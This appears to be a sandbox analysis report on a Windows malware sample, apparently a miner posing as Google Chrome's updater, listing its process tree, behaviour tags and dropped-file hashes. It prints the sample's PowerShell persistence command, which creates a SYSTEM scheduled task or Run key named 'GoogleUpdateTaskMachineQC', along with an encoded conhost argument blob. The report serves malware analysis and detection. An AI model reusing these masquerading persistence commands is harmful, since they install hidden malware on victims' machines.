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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4128
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3572
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2924
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3916
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:884
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:1228
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:4036
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1380
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1148
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
168KB
MD557c2a52777f1cef777c8645ff6bdb51c
SHA15bf82d5597c919e0f5c9fd1df1e4e405222bc9ba
SHA256b7d65655da3029f70c7bd8d447f03f28fad2d3ff5e38331bbca2b84bba11dc2f
SHA512b9efba0fc88e298450eb4784e97d20396489b7f6ee35236bed52b59960965a4e0521db1e17374cc5e34d802dcc0b70a70338a0e6b8317552cbbfc6ca5664d521
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Filesize
362KB
MD5319d4d8e6854f4b0d665b20edf1112f8
SHA167aefaf38220e6e3474581793f18c605ab111f8f
SHA256d6eb936cf6d8810139e9b8c7b0577194ce9e595b15897ff36c5e690a9aae6d7e
SHA512f8002240439dfb5fcc609e30f919a52de892225f388c9dfd15524e82a2680f440857b1e623ad9aa487940e818dd0b50418e6606237794d540e783352db079076
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
1KB
MD520b2f6ad2d2accd37fbd46b9d9bf8989
SHA191db3ff9493d1ab55efb65b715a2a8c61a72adbd
SHA25632fef7d0dd7c43bd3440fca325e363d04b667c385d13d4dd44528f35b0167bed
SHA512acf13e39320da7837d169c2575d6575eb638f41f6deead0915785269effebe334adc5f8d73d6621aa4eea047b261fabd50ffc9449f47126953534059e8ff7501
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5a1adf625adf5b11d059053f5d38bfe7e
SHA17c276e61fd284f93854909300b814f885338acd3
SHA256d2b5dd6a04e1eb661ea212e4eb1062794ac1dfec07f7b59f97e2a011b5718af2
SHA5124d40a5819232f83fb30d151c265060e1fd4926b373ed04a0492174b0e269cb52754bf56c311cf3f06cdea7d81343f32cec15fe90826971c5b9f66f729cea629e
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5064589ae795c20f81e9d15aed33da18a
SHA193d5adfe018b06a40e07b3ffc3fbe462647d83c9
SHA2563cacad6b05e2ebe1c4b46f9d780007cc70dd7763dffe79aaf087a21ccfa3b914
SHA5128e1c64334069a42d9a7baee835401101661077953dbc22fa02becfdf7f001ec8e29c80c0afc4ca92494a69696bd9964d2a37bb45692aa750c912194e3cbac19d